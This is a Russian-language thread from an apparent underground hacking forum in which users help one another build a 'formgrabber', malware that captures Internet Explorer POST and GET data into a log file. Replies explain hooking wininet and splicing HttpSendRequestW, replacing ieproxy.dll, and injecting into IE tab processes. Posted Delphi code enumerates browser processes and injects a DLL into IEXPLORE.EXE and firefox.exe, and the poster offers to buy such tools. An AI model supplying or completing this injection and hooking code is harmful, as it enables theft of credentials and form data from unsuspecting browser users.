• XSS.stack #1 – первый литературный журнал от юзеров форума

"формграббер"

kalibr98

CD-диск
Пользователь
Регистрация
02.12.2010
Сообщения
15
Реакции
0
Решил написать новый перехватчик POST и GET данных интернет експлорера,(старый отказывается работать с версиями выше 6) но ,перепарсив гугл,отчаялся,хз с чего начать. Подскажите,может у кого какие идеи,наработки,отпишитесь,пожалуйста.

Теперь если коротко-програмка после запуска перехватывает POST и GET данные Internet Explorer и сохраняет в файлик (например С:\лог.тхт)


З.Ы. если у Вас имеются наработки по данному вопросу а здесь писать не охота-велкам в ПМ\асю 648293679,можем обменяться на чтони-будь,(ну или выкуплю у Вас вышеописанное творение.)

Очень жду ответа!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В осле начиная с 7й версии появились вкладки. Когда запускается ИЕ то появляется 2 процесса. 1 какбэ главный а второй это вкладка. При добавлении вкладок в окно ИЕ увидишь как в диспечере задач появляются новые процессы iexplore. Вот в них какраз и нужно делать инжект и хучить wininet. В твоем грабере нужно всего-лишь переписать функцию ижекта для вновь открытых вкладок.
 
Самый простой вариант,это подмена оригинальной библиотеки ieproxy.dll,которая экспортирует
всего штук 5 функций.Подгружаеш из подменной длл,оригинальную,затем находиш адреса этих функций,сохраняеш и делаеш
экспорт на фейковые функции с такими же названиями в своей длл,затем из этого всего переход
на оригинальные адреса.И сплайсиш HttpSendRequestW,новые версии работают в Unicode.Сохраняеш лог.
 
В осле начиная с 7й версии появились вкладки.
но в 7-й версии один процесс только , а уже в 8-й версии на каждые 2-3 вкладки создается еще один процес iexplore.exe

Самый простой вариант,это подмена оригинальной библиотеки ieproxy.dll,которая экспортирует  всего штук 5 функций.Подгружаеш из подменной длл,оригинальную,затем находиш адреса этих функций,сохраняеш и делаеш  экспорт на фейковые функции с такими же названиями в своей длл,затем из этого всего переход  на оригинальные адреса.И сплайсиш HttpSendRequestW,новые версии работают в Unicode.Сохраняеш лог.
подмена дллок это баян в любом случае :) ага особенно подменишь с включенным уаком :tease:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот простейший способ
Код:
CreateToolhelp32Snapshot
Process32First
Process32Next


Еще вариант
Код:
NtQuerySystemInformation с параметром ProcessBasicInformation


Ну и можно еще попробовать
Код:
EnumProcesses
 
я попробовал внедрять в оба процесса-также безрезультатно

вот код старого варианта (работает в ие6)

sendspace.com/file/ap05sv пасс kalibr98
взгляните,пожалуйста,что не так. Буду очень обязан
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Вот процедура получения ид процесса... В чем её логика... Перебираются процессы и как только найден первый експлорер то дальнейший поиск прекращается.

function GetProcessId(pName: PChar): dword;
var
Snap: dword;
Process: TPROCESSENTRY32;
begin
  Result := 0;
  Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if Snap <> INVALID_HANDLE_VALUE then
     begin
      Process.dwSize := SizeOf(TPROCESSENTRY32);
      if Process32First(Snap, Process) then
         repeat
          if lstrcmpi(Process.szExeFile, pName) = 0 then
             begin
              Result := Process.th32ProcessID;
              CloseHandle(Snap);
              Exit;

             end;
         until not Process32Next(Snap, Process);
      Result := 0;
      CloseHandle(Snap);
     end;
end;



Идем дальше:

Unit1.pas
Кусок процедуры которая отвечает за инжект.
procedure TForm1.FormCreate(Sender: TObject);
var
  a,b:integer;
  _h:thandle;
  _dllPath:string;
  begin
memo1.Lines.Clear;

memo1.Lines.Add('====================');


  a:=GetProcessId('IEXPLORE.EXE');
  b:=GetProcessId('firefox.exe');
  if a<>0 then
  begin
     _h := OpenProcess(PROCESS_ALL_ACCESS, false, GetProcessId('IEXPLORE.EXE'));
     _dllPath := ExtractFilePath(ParamStr(0))+'test.dll';
     InjectDll(_h, pchar(_dllPath));
     edit1.Text:='1';
  end;

if b<>0 then
begin
_h := OpenProcess(PROCESS_ALL_ACCESS, false, GetProcessId('firefox.exe'));
_dllPath := ExtractFilePath(ParamStr(0))+'test.dll';
InjectDll(_h, pchar(_dllPath));
edit1.Text:='1';
end;



if ((a=0) and (b=0)) then
begin
form1.timer1.enabled:=true;
end;
end;


=====================================================

ИТОГО:
Вот как должна выглядеть ф-я GetProcessId в advApiHook.pas

function GetProcessId(pName: PChar): dword;
var
Snap: dword;
Process: TPROCESSENTRY32;
begin
  Result := 0;
  Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if Snap <> INVALID_HANDLE_VALUE then
     begin
      Process.dwSize := SizeOf(TPROCESSENTRY32);
      if Process32First(Snap, Process) then
         repeat
          if lstrcmpi(Process.szExeFile, pName) = 0 then
             begin
                Result := Process.th32ProcessID;
                _h := OpenProcess(PROCESS_ALL_ACCESS, false, Result);
                _dllPath := ExtractFilePath(ParamStr(0))+'test.dll';
                InjectDll(_h, pchar(_dllPath));
                edit1.Text:='1';

             end;
         until not Process32Next(Snap, Process);
      Result := 0;
      CloseHandle(Snap);
     end;
end;


и вот как должна выглядеть ф-я TForm1.FormCreate в Unit1.pas
procedure TForm1.FormCreate(Sender: TObject);
var
  a,b:integer;
  _h:thandle;
  _dllPath:string;
  begin
memo1.Lines.Clear;

memo1.Lines.Add('====================');


  a:=GetProcessId('IEXPLORE.EXE');
  b:=GetProcessId('firefox.exe');



if ((a=0) and (b=0)) then
begin
form1.timer1.enabled:=true;
end;
end;



Вот как-то так. Надеюсь я тебя не запутал.
 
запутать не запутал),спасибо. Как ты описал все работет,но теперь експлорер дружить с этой софтиной не хочет,т.е. работает моя программа запускаю експлорер,он загружается,внедряются длл и он выгружается обратно,длл тоже соответственно. Может кто подскажет как их можно подружить?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Выгружается с ошибкой чтоли ?

Кстати в GetProcessId нужно добавить переменную _dllPath:string;

Попробуй не запускать таймер. Удали
if ((a=0) and (b=0)) then
begin
form1.timer1.enabled:=true;
end;

И еще попробуй сделать вместо
a:=GetProcessId('IEXPLORE.EXE');
b:=GetProcessId('firefox.exe');

Вот так
GetProcessId('IEXPLORE.EXE');
GetProcessId('firefox.exe');
 
нет,он не выгружается с ошибкой,он просто закрывается и все,а если еще раз запустить уже без внедрения длл то работает нормально,т.е. он пытается освободится от этой библиотеки,при внедренной вместо того чтобы посылать запрос приложение ИЕ завершает работу (корректно,без всяких сообщений,ошибок и т.д.)

Пробовал как написано постом выше-таже история......не верю что положение безвыходное,наверняка как то можно перехватить запросы.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх